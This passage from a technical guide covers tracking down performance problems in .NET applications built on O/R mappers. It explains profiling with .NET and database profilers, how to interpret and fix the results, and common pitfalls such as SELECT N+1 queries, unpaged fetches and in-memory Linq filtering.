If your analysis reveals big architectural stupidity, it's perhaps a good idea to rethink the architecture at this point. For the rest, we're analyzing which means we collect data about what could be wrong, for each participating part of the complete application. Reviewing the code you wrote is a good tool to get deeper understanding of what is going on for a given task but ultimately it lacks precision and overview what really happens: humans aren't good code interpreters, computers are. We therefore need to utilize tools to get deeper understanding about which parts contribute how much time to the total task, triggered by which other parts and for example how many times are they called. There are two different kind of tools which are necessary: .NET profilers and O/R mapper / RDBMS profilers. .NET profiling .NET profilers (e.g. dotTrace by JetBrains or Ants by Red Gate software) show exactly which pieces of code are called, how many times they're called, and the time it took to run that piece of code, at the method level and sometimes even at the line level. The .NET profilers are essential tools for understanding whether the time taken to complete a given task / area in your application is consumed by .NET code, where exactly in your code, the path to that code, how many times that code was called by other code and thus reveals where hotspots are located: the areas where a solution can be found. Importantly, they also reveal which areas can be left alone: remember our penny wise pound foolish saying: if a profiler reveals that a group of methods are fast, or don't contribute much to the total time taken for a given task, ignore them. Even if the code in them is perhaps complex and looks like a candidate for optimization: you can work all day on that, it won't matter.  As we're focusing on a single area of the application, it's best to start profiling right before you actually activate the task/area. Most .NET profilers support this by starting the application without starting the profiling procedure just yet. You navigate to the particular part which is slow, start profiling in the profiler, in your application you perform the actions which are considered slow, and afterwards you get a snapshot in the profiler. The snapshot contains the data collected by the profiler during the slow action, so most data is produced by code in the area to investigate. This is important, because it allows you to stay focused on a single area. O/R mapper and RDBMS profiling .NET profilers give you a good insight in the .NET side of things, but not in the RDBMS side of the application. As this article is about O/R mapper powered applications, we're also looking at databases, and the software making it possible to consume the database in your application: the O/R mapper. To understand which parts of the O/R mapper and database participate how much to the total time taken for task T, we need different tools. There are two kind of tools focusing on O/R mappers and database performance profiling: O/R mapper profilers and RDBMS profilers. For O/R mapper profilers, you can look at LLBLGen Prof by hibernating rhinos or the Linq to Sql/LLBLGen Pro profiler by Huagati. Hibernating rhinos also have profilers for other O/R mappers like NHibernate (NHProf) and Entity Framework (EFProf) and work the same as LLBLGen Prof. For RDBMS profilers, you have to look whether the RDBMS vendor has a profiler. For example for SQL Server, the profiler is shipped with SQL Server, for Oracle it's build into the RDBMS, however there are also 3rd party tools. Which tool you're using isn't really important, what's important is that you get insight in which queries are executed during the task / area we're currently focused on and how long they took. Here, the O/R mapper profilers have an advantage as they collect the time it took to execute the query from the application's perspective so they also collect the time it took to transport data across the network. This is important because a query which returns a massive resultset or a resultset with large blob/clob/ntext/image fields takes more time to get transported across the network than a small resultset and a database profiler doesn't take this into account most of the time. Another tool to use in this case, which is more low level and not all O/R mappers support it (though LLBLGen Pro and NHibernate as well do) is tracing: most O/R mappers offer some form of tracing or logging system which you can use to collect the SQL generated and executed and often also other activity behind the scenes. While tracing can produce a tremendous amount of data in some cases, it also gives insight in what's going on. Interpret After we've completed the analysis step it's time to look at the data we've collected. We've done code reviews to see whether we've done anything stupid and which parts actually take place and if the proper algorithms have been implemented. We've done .NET profiling to see which parts are choke points and how much time they contribute to the total time taken to complete the task we're investigating. We've performed O/R mapper profiling and RDBMS profiling to see which queries were executed during the task, how many queries were generated and executed and how long they took to complete, including network transportation. All this data reveals two things: which parts are big contributors to the total time taken and which parts are irrelevant. Both aspects are very important. The parts which are irrelevant (i.e. don't contribute significantly to the total time taken) can be ignored from now on, we won't look at them. The parts which contribute a lot to the total time taken are important to look at. We now have to first look at the .NET profiler results, to see whether the time taken is consumed in our own code, in .NET framework code, in the O/R mapper itself or somewhere else. For example if most of the time is consumed by DbCommand.ExecuteReader, the time it took to complete the task is depending on the time the data is fetched from the database. If there was just 1 query executed, according to tracing or O/R mapper profilers / RDBMS profilers, check whether that query is optimal, uses indexes or has to deal with a lot of data. Interpret means that you follow the path from begin to end through the data collected and determine where, along the path, the most time is contributed. It also means that you have to check whether this was expected or is totally unexpected. My previous example of the 10 row resultset of a query which groups millions of rows will likely reveal that a long time is spend inside the database and almost no time is spend in the .NET code, meaning the RDBMS part contributes the most to the total time taken, the rest is compared to that time, irrelevant. Considering the vastness of the source data set, it's expected this will take some time. However, does it need tweaking? Perhaps all possible tweaks are already in place. In the interpret step you then have to decide that further action in this area is necessary or not, based on what the analysis results show: if the analysis results were unexpected and in the area where the most time is contributed to the total time taken is room for improvement, action should be taken. If not, you can only accept the situation and move on. In all cases, document your decision together with the analysis you've done. If you decide that the perceived performance problem is actually expected due to the nature of the task performed, it's essential that in the future when someone else looks at the application and starts asking questions you can answer them properly and new analysis is only necessary if situations changed. Fix After interpreting the analysis results you've concluded that some areas need adjustment. This is the fix step: you're actively correcting the performance problem with proper action targeted at the real cause. In many cases related to O/R mapper powered applications it means you'll use different features of the O/R mapper to achieve the same goal, or apply optimizations at the RDBMS level. It could also mean you apply caching inside your application (compromise memory consumption over performance) to avoid unnecessary re-querying data and re-consuming the results. After applying a change, it's key you re-do the analysis and interpretation steps: compare the results and expectations with what you had before, to see whether your actions had any effect or whether it moved the problem to a different part of the application. Don't fall into the trap to do partly analysis: do the full analysis again: .NET profiling and O/R mapper / RDBMS profiling. It might very well be that the changes you've made make one part faster but another part significantly slower, in such a way that the overall problem hasn't changed at all. Performance tuning is dealing with compromises and making choices: to use one feature over the other, to accept a higher memory footprint, to go away from the strict-OO path and execute queries directly onto the RDBMS, these are choices and compromises which will cross your path if you want to fix performance problems with respect to O/R mappers or data-access and databases in general. In most cases it's not a big issue: alternatives are often good choices too and the compromises aren't that hard to deal with. What is important is that you document why you made a choice, a compromise: which analysis data, which interpretation led you to the choice made. This is key for good maintainability in the years to come. Most common performance problems with O/R mappers Below is an incomplete list of common performance problems related to data-access / O/R mappers / RDBMS code. It will help you with fixing the hotspots you found in the interpretation step. SELECT N+1: (Lazy-loading specific). Lazy loading triggered performance bottlenecks. Consider a list of Orders bound to a grid. You have a Field mapped onto a related field in Order, Customer.CompanyName. Showing this column in the grid will make the grid fetch (indirectly) for each row the Customer row. This means you'll get for the single list not 1 query (for the orders) but 1+(the number of orders shown) queries. To solve this: use eager loading using a prefetch path to fetch the customers with the orders. SELECT N+1 is easy to spot with an O/R mapper profiler or RDBMS profiler: if you see a lot of identical queries executed at once, you have this problem. Prefetch paths using many path nodes or sorting, or limiting. Eager loading problem. Prefetch paths can help with performance, but as 1 query is fetched per node, it can be the number of data fetched in a child node is bigger than you think. Also consider that data in every node is merged on the client within the parent. This is fast, but it also can take some time if you fetch massive amounts of entities. If you keep fetches small, you can use tuning parameters like the ParameterizedPrefetchPathThreshold setting to get more optimal queries. Deep inheritance hierarchies of type Target Per Entity/Type. If you use inheritance of type Target per Entity / Type (each type in the inheritance hierarchy is mapped onto its own table/view), fetches will join subtype- and supertype tables in many cases, which can lead to a lot of performance problems if the hierarchy has many types. With this problem, keep inheritance to a minimum if possible, or switch to a hierarchy of type Target Per Hierarchy, which means all entities in the inheritance hierarchy are mapped onto the same table/view. Of course this has its own set of drawbacks, but it's a compromise you might want to take. Fetching massive amounts of data by fetching large lists of entities. LLBLGen Pro supports paging (and limiting the # of rows returned), which is often key to process through large sets of data. Use paging on the RDBMS if possible (so a query is executed which returns only the rows in the page requested). When using paging in a web application, be sure that you switch server-side paging on on the datasourcecontrol used. In this case, paging on the grid alone is not enough: this can lead to fetching a lot of data which is then loaded into the grid and paged there. Keep note that analyzing queries for paging could lead to the false assumption that paging doesn't occur, e.g. when the query contains a field of type ntext/image/clob/blob and DISTINCT can't be applied while it should have (e.g. due to a join): the datareader will do DISTINCT filtering on the client. this is a little slower but it does perform paging functionality on the data-reader so it won't fetch all rows even if the query suggests it does. Fetch massive amounts of data because blob/clob/ntext/image fields aren't excluded. LLBLGen Pro supports field exclusion for queries. You can exclude fields (also in prefetch paths) per query to avoid fetching all fields of an entity, e.g. when you don't need them for the logic consuming the resultset. Excluding fields can greatly reduce the amount of time spend on data-transport across the network. Use this optimization if you see that there's a big difference between query execution time on the RDBMS and the time reported by the .NET profiler for the ExecuteReader method call. Doing client-side aggregates/scalar calculations by consuming a lot of data. If possible, try to formulate a scalar query or group by query using the projection system or GetScalar functionality of LLBLGen Pro to do data consumption on the RDBMS server. It's far more efficient to process data on the RDBMS server than to first load it all in memory, then traverse the data in-memory to calculate a value. Using .ToList() constructs inside linq queries. It might be you use .ToList() somewhere in a Linq query which makes the query be run partially in-memory. Example: var q = from c in metaData.Customers.ToList() where c.Country=="Norway" select c; This will actually fetch all customers in-memory and do an in-memory filtering, as the linq query is defined on an IEnumerable<T>, and not on the IQueryable<T>. Linq is nice, but it can often be a bit unclear where some parts of a Linq query might run. Fetching all entities to delete into memory first. To delete a set of entities it's rather inefficient to first fetch them all into memory and then delete them one by one. It's more efficient to execute a DELETE FROM ... WHERE query on the database directly to delete the entities in one go. LLBLGen Pro supports this feature, and so do some other O/R mappers. It's not always possible to do this operation in the context of an O/R mapper however: if an O/R mapper relies on a cache, these kind of operations are likely not supported because they make it impossible to track whether an entity is actually removed from the DB and thus can be removed from the cache. Fetching all entities to update with an expression into memory first. Similar to the previous point: it is more efficient to update a set of entities directly with a single UPDATE query using an expression instead of fetching the entities into memory first and then updating the entities in a loop, and afterwards saving them. It might however be a compromise you don't want to take as it is working around the idea of having an object graph in memory which is manipulated and instead makes the code fully aware there's a RDBMS somewhere. Conclusion Performance tuning is almost always about compromises and making choices. It's also about knowing where to look and how the systems in play behave and should behave. The four steps I provided should help you stay focused on the real problem and lead you towards the solution. Knowing how to optimally use the systems participating in your own code (.NET framework, O/R mapper, RDBMS, network/services) is key for success as well as knowing what's going on inside the application you built. I hope you'll find this guide useful in tracking down performance problems and dealing with them in a useful way.  

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